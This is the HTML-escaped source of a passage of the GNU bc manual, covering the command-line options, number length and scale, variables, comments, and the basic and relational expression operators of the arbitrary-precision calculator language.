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&lt;h1 class=&quot;node&quot;&gt;&lt;span&gt;Top&lt;a class=&quot;copiable-link&quot; href=&quot;#Top&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h1&gt;


&lt;hr&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Introduction&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Basic-Elements&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Basic Elements&lt;/a&gt;, Previous: &lt;a href=&quot;#Top&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Top&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Top&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Introduction-1&quot;&gt;&lt;span&gt;1 Introduction&lt;a class=&quot;copiable-link&quot; href=&quot;#Introduction-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;ul class=&quot;mini-toc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#Description&quot; accesskey=&quot;1&quot;&gt;Description&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#Command-Line-Options&quot; accesskey=&quot;2&quot;&gt;Command Line Options&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Description&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Command-Line-Options&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Command Line Options&lt;/a&gt;, Previous: &lt;a href=&quot;#Introduction&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Introduction&lt;/a&gt;, Up: &lt;a href=&quot;#Introduction&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Introduction&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Description-1&quot;&gt;&lt;span&gt;1.1 Description&lt;a class=&quot;copiable-link&quot; href=&quot;#Description-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; [ -hlwsqv ] [long-options] [ &lt;var class=&quot;var&quot;&gt; file ...&lt;/var&gt; ]
&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; is a language that supports arbitrary precision numbers
with interactive execution of statements.  There are some similarities
in the syntax to the C programming language. 
A standard math library is available by command line option.
If requested, the math library is defined before processing any files.
&lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; starts by processing code from all the files listed
on the command line in the order listed.  After all files have been
processed, &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; reads from the standard input.  All code is
executed as it is read.  (If a file contains a command to halt the
processor, &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; will never read from the standard input.)
&lt;/p&gt;
&lt;p&gt;This version of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; contains several extensions beyond
traditional &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; implementations and the POSIX draft standard.
Command line options can cause these extensions to print a warning or to
be rejected.  This document describes the language accepted by this
processor.  Extensions will be identified as such.
&lt;/p&gt;
&lt;p&gt;The author would like to thank Steve Sommars
(&lt;a class=&quot;email&quot; href=&quot;mailto:Steve.Sommars@att.com&quot;&gt;Steve.Sommars@att.com&lt;/a&gt;) for his extensive help in testing the
implementation.  Many great suggestions were given.  This is a much
better product due to his involvement.
&lt;/p&gt;
&lt;p&gt;Email bug reports to &lt;a class=&quot;email&quot; href=&quot;mailto:bug-bc@gnu.org&quot;&gt;bug-bc@gnu.org&lt;/a&gt;.  Be sure to include
the word &amp;ldquo;bc&amp;rdquo; somewhere in the &amp;ldquo;Subject:&amp;rdquo; field.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Command-Line-Options&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Numbers&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Numbers&lt;/a&gt;, Previous: &lt;a href=&quot;#Description&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Description&lt;/a&gt;, Up: &lt;a href=&quot;#Introduction&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Introduction&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Command-Line-Options-1&quot;&gt;&lt;span&gt;1.2 Command Line Options&lt;a class=&quot;copiable-link&quot; href=&quot;#Command-Line-Options-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; takes the following options from the command line:
&lt;/p&gt;&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;-h, --help&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Print the usage and exit.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;-l, --mathlib&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Define the standard math library.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;-w, --warn&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Give warnings for extensions to POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;-s, --standard&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Process exactly the POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; language.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;-q, --quiet&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Do not print the normal GNU &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; welcome.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;-v, --version&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Print the version number and copyright and quit.
&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;


&lt;hr&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Basic-Elements&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Expressions&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Expressions&lt;/a&gt;, Previous: &lt;a href=&quot;#Introduction&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Introduction&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Top&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Basic-Elements-1&quot;&gt;&lt;span&gt;2 Basic Elements&lt;a class=&quot;copiable-link&quot; href=&quot;#Basic-Elements-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;ul class=&quot;mini-toc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#Numbers&quot; accesskey=&quot;1&quot;&gt;Numbers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#Variables&quot; accesskey=&quot;2&quot;&gt;Variables&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#Comments&quot; accesskey=&quot;3&quot;&gt;Comments&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Numbers&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Variables&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Variables&lt;/a&gt;, Previous: &lt;a href=&quot;#Command-Line-Options&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Command Line Options&lt;/a&gt;, Up: &lt;a href=&quot;#Basic-Elements&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Basic Elements&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Numbers-1&quot;&gt;&lt;span&gt;2.1 Numbers&lt;a class=&quot;copiable-link&quot; href=&quot;#Numbers-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;The most basic element in &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; is the number.  Numbers are
arbitrary precision numbers.  This precision is both in the integer
part and the fractional part.  All numbers are represented internally
in decimal and all computation is done in decimal.  (This version
truncates results from divide and multiply operations.)  There are two
attributes of numbers, the length and the scale.  The length is the
total number of digits used by &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; to represent a number and
the scale is the total number of decimal digits after the decimal
point.  For example, .000001 has a length of 6 and scale of 6, while
1935.000 has a length of 7 and a scale of 3.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Variables&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Comments&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Comments&lt;/a&gt;, Previous: &lt;a href=&quot;#Numbers&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Numbers&lt;/a&gt;, Up: &lt;a href=&quot;#Basic-Elements&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Basic Elements&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Variables-1&quot;&gt;&lt;span&gt;2.2 Variables&lt;a class=&quot;copiable-link&quot; href=&quot;#Variables-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;Numbers are stored in two types of variables, simple variables and
arrays.  Both simple variables and array variables are named.  Names
begin with a letter followed by any number of letters, digits and
underscores.  All letters must be lower case.  (Full alphanumeric
names are an extension. In POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; all names are a single
lower case letter.)  The type of variable is clear by the context
because all array variable names will be followed by brackets ( [ ] ).
&lt;/p&gt;
&lt;p&gt;There are four special variables, &lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt;, &lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt;, &lt;var class=&quot;var&quot;&gt;obase&lt;/var&gt;, and
&lt;var class=&quot;var&quot;&gt;last&lt;/var&gt;.  &lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt; defines how some operations use digits after the
decimal point.  The default value of &lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt; is 0. &lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt;
and &lt;var class=&quot;var&quot;&gt;obase&lt;/var&gt; define the conversion base for input and output
numbers.  The default for both input and output is base 10.
&lt;var class=&quot;var&quot;&gt;last&lt;/var&gt; (an extension) is a variable that has the value of the last
printed number.  These will be discussed in further detail where
appropriate.  All of these variables may have values assigned to them
as well as used in expressions.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Comments&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Previous: &lt;a href=&quot;#Variables&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Variables&lt;/a&gt;, Up: &lt;a href=&quot;#Basic-Elements&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Basic Elements&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Comments-1&quot;&gt;&lt;span&gt;2.3 Comments&lt;a class=&quot;copiable-link&quot; href=&quot;#Comments-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;Comments in &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; start with the characters &lt;code class=&quot;code&quot;&gt;/*&lt;/code&gt; and end with
the characters &lt;code class=&quot;code&quot;&gt;*/&lt;/code&gt;.  Comments may start anywhere and appear as a
single space in the input.  (This causes comments to delimit other
input items.  For example, a comment can not be found in the middle of
a variable name.)  Comments include any newlines (end of line) between
the start and the end of the comment.
&lt;/p&gt;
&lt;p&gt;To support the use of scripts for &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;, a single line comment has been
added as an extension.  A single line comment starts at a &lt;code class=&quot;code&quot;&gt;#&lt;/code&gt;
character and continues to the next end of the line.  The end of line
character is not part of the comment and is processed normally.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Expressions&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Statements&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Statements&lt;/a&gt;, Previous: &lt;a href=&quot;#Basic-Elements&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Basic Elements&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Top&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Expressions-1&quot;&gt;&lt;span&gt;3 Expressions&lt;a class=&quot;copiable-link&quot; href=&quot;#Expressions-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;


&lt;ul class=&quot;mini-toc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#About-Expressions-and-Special-Variables&quot; accesskey=&quot;1&quot;&gt;About Expressions and Special Variables&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#Basic-Expressions&quot; accesskey=&quot;2&quot;&gt;Basic Expressions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#Relational-Expressions&quot; accesskey=&quot;3&quot;&gt;Relational Expressions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#Boolean-Expressions&quot; accesskey=&quot;4&quot;&gt;Boolean Expressions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#Precedence&quot; accesskey=&quot;5&quot;&gt;Precedence&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#Special-Expressions&quot; accesskey=&quot;6&quot;&gt;Special Expressions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;About-Expressions-and-Special-Variables&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Basic-Expressions&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Basic Expressions&lt;/a&gt;, Previous: &lt;a href=&quot;#Expressions&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Expressions&lt;/a&gt;, Up: &lt;a href=&quot;#Expressions&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Expressions&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;About-Expressions-and-Special-Variables-1&quot;&gt;&lt;span&gt;3.1 About Expressions and Special Variables&lt;a class=&quot;copiable-link&quot; href=&quot;#About-Expressions-and-Special-Variables-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;The numbers are manipulated by expressions and statements.  Since
the language was designed to be interactive, statements and expressions
are executed as soon as possible.  There is no main program.  Instead,
code is executed as it is encountered.  (Functions, discussed in
detail later, are defined when encountered.)
&lt;/p&gt;
&lt;p&gt;A simple expression is just a constant. &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; converts constants
into internal decimal numbers using the current input base, specified by
the variable &lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt;. (There is an exception in functions.)  The
legal values of &lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt; are 2 through 36.  (Bases greater than
16 are an extension.)  Assigning a value outside
this range to &lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt; will result in a value of 2 or 36.  Input
numbers may contain the characters 0-9 and A-Z. (Note: They must be
capitals.  Lower case letters are variable names.)  Single digit numbers
always have the value of the digit regardless of the value of
&lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt;. (i.e. A = 10.)  For multi-digit numbers, &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;
changes all input digits greater or equal to &lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt; to the value of
&lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt;-1.  This makes the number &lt;code class=&quot;code&quot;&gt;ZZZ&lt;/code&gt; always be the largest
3 digit number of the input base.
&lt;/p&gt;
&lt;p&gt;Full expressions are similar to many other high level languages.
Since there is only one kind of number, there are no rules for mixing
types.  Instead, there are rules on the scale of expressions.  Every
expression has a scale.  This is derived from the scale of original
numbers, the operation performed and in many cases, the value of the
variable &lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt;. Legal values of the variable &lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt; are
0 to the maximum number representable by a C integer.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Basic-Expressions&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Relational-Expressions&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Relational Expressions&lt;/a&gt;, Previous: &lt;a href=&quot;#About-Expressions-and-Special-Variables&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;About Expressions and Special Variables&lt;/a&gt;, Up: &lt;a href=&quot;#Expressions&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Expressions&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Basic-Expressions-1&quot;&gt;&lt;span&gt;3.2 Basic Expressions&lt;a class=&quot;copiable-link&quot; href=&quot;#Basic-Expressions-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;In the following descriptions of legal expressions, &amp;quot;expr&amp;quot; refers to a
complete expression and &amp;quot;&lt;var class=&quot;var&quot;&gt;var&lt;/var&gt;&amp;quot; refers to a simple or an array variable.
A simple variable is just a 
&lt;/p&gt;
&lt;p&gt;&lt;var class=&quot;var&quot;&gt;name&lt;/var&gt;
&lt;/p&gt;
&lt;p&gt;and an array variable is specified as 
&lt;/p&gt;
&lt;p&gt;&lt;var class=&quot;var&quot;&gt;name&lt;/var&gt;[&lt;var class=&quot;var&quot;&gt;expr&lt;/var&gt;] 
&lt;/p&gt;
&lt;p&gt;Unless specifically mentioned the scale of the result is the maximum
scale of the expressions involved.
&lt;/p&gt;
&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;- expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result is the negation of the expression.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;++ &lt;var class=&quot;var&quot;&gt;var&lt;/var&gt;&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The variable is incremented by one and the new value is the result of
the expression.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;-- &lt;var class=&quot;var&quot;&gt;var&lt;/var&gt;&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The variable
is decremented by one and the new value is the result of the
expression.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;&lt;var class=&quot;var&quot;&gt;var&lt;/var&gt; ++&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result of the expression is the value of
the variable and then the variable is incremented by one.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;&lt;var class=&quot;var&quot;&gt;var&lt;/var&gt; --&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result of the expression is the value of the variable and then
the variable is decremented by one.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr + expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result of the expression is the sum of the two expressions.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr - expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result of the expression is the difference of the two expressions.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr * expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result of the expression is the product of the two expressions.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr / expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result of the expression is the quotient of the two expressions.
The scale of the result is the value of the variable &lt;code class=&quot;code&quot;&gt;scale&lt;/code&gt;
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr % expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result of the expression is the &amp;quot;remainder&amp;quot; and it is computed in the
following way.  To compute a%b, first a/b is computed to &lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt;
digits.  That result is used to compute a-(a/b)*b to the scale of the
maximum of &lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt;+scale(b) and scale(a).  If &lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt; is set
to zero and both expressions are integers this expression is the
integer remainder function.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr ^ expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result of the expression is the value of the first raised to the
second. The second expression must be an integer.  (If the second
expression is not an integer, a warning is generated and the
expression is truncated to get an integer value.)  The scale of the
result is &lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt; if the exponent is negative.  If the exponent
is positive the scale of the result is the minimum of the scale of the
first expression times the value of the exponent and the maximum of
&lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt; and the scale of the first expression.  (e.g. scale(a^b)
= min(scale(a)*b, max(&lt;var class=&quot;var&quot;&gt;scale&lt;/var&gt;, scale(a))).)  It should be noted
that expr^0 will always return the value of 1.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;( expr )&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This alters the standard precedence to force the evaluation of the
expression.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;&lt;var class=&quot;var&quot;&gt;var&lt;/var&gt; = expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The variable is assigned the value of the expression.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;&lt;var class=&quot;var&quot;&gt;var&lt;/var&gt; &amp;lt;op&amp;gt;= expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This is equivalent to &amp;quot;&lt;var class=&quot;var&quot;&gt;var&lt;/var&gt; = &lt;var class=&quot;var&quot;&gt;var&lt;/var&gt; &amp;lt;op&amp;gt; expr&amp;quot; with the
exception that the &amp;quot;&lt;var class=&quot;var&quot;&gt;var&lt;/var&gt;&amp;quot; part is evaluated only once.  This can
make a difference if &amp;quot;&lt;var class=&quot;var&quot;&gt;var&lt;/var&gt;&amp;quot; is an array.
&lt;/p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Relational-Expressions&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Boolean-Expressions&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Boolean Expressions&lt;/a&gt;, Previous: &lt;a href=&quot;#Basic-Expressions&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Basic Expressions&lt;/a&gt;, Up: &lt;a href=&quot;#Expressions&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Expressions&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Relational-Expressions-1&quot;&gt;&lt;span&gt;3.3 Relational Expressions&lt;a class=&quot;copiable-link&quot; href=&quot;#Relational-Expressions-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;Relational expressions are a special kind of expression that always
evaluate to 0 or 1, 0 if the relation is false and 1 if the relation is
true.  These may appear in any legal expression.  (POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;
requires that relational expressions are used only in &lt;code class=&quot;code&quot;&gt;if&lt;/code&gt;,
&lt;code class=&quot;code&quot;&gt;while&lt;/code&gt;, and &lt;code class=&quot;code&quot;&gt;for&lt;/code&gt; statements and that only one relational
test may be done in them.)  The relational operators are
&lt;/p&gt;
&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr1 &amp;lt; expr2&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result is 1 if expr1 is strictly less than expr2.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr1 &amp;lt;= expr2&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result is 1 if expr1 is less than or equal to expr2.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr1 &amp;gt; expr2&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result is 1 if expr1 is strictly greater than expr2.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr1 &amp;gt;= expr2&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result is 1 if expr1 is greater than or equal to expr2.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr1 == expr2&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result is 1 if expr1 is equal to expr2.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr1 != expr2&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result is 1 if expr1 is not equal to expr2.
&lt;/p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;hr&gt;
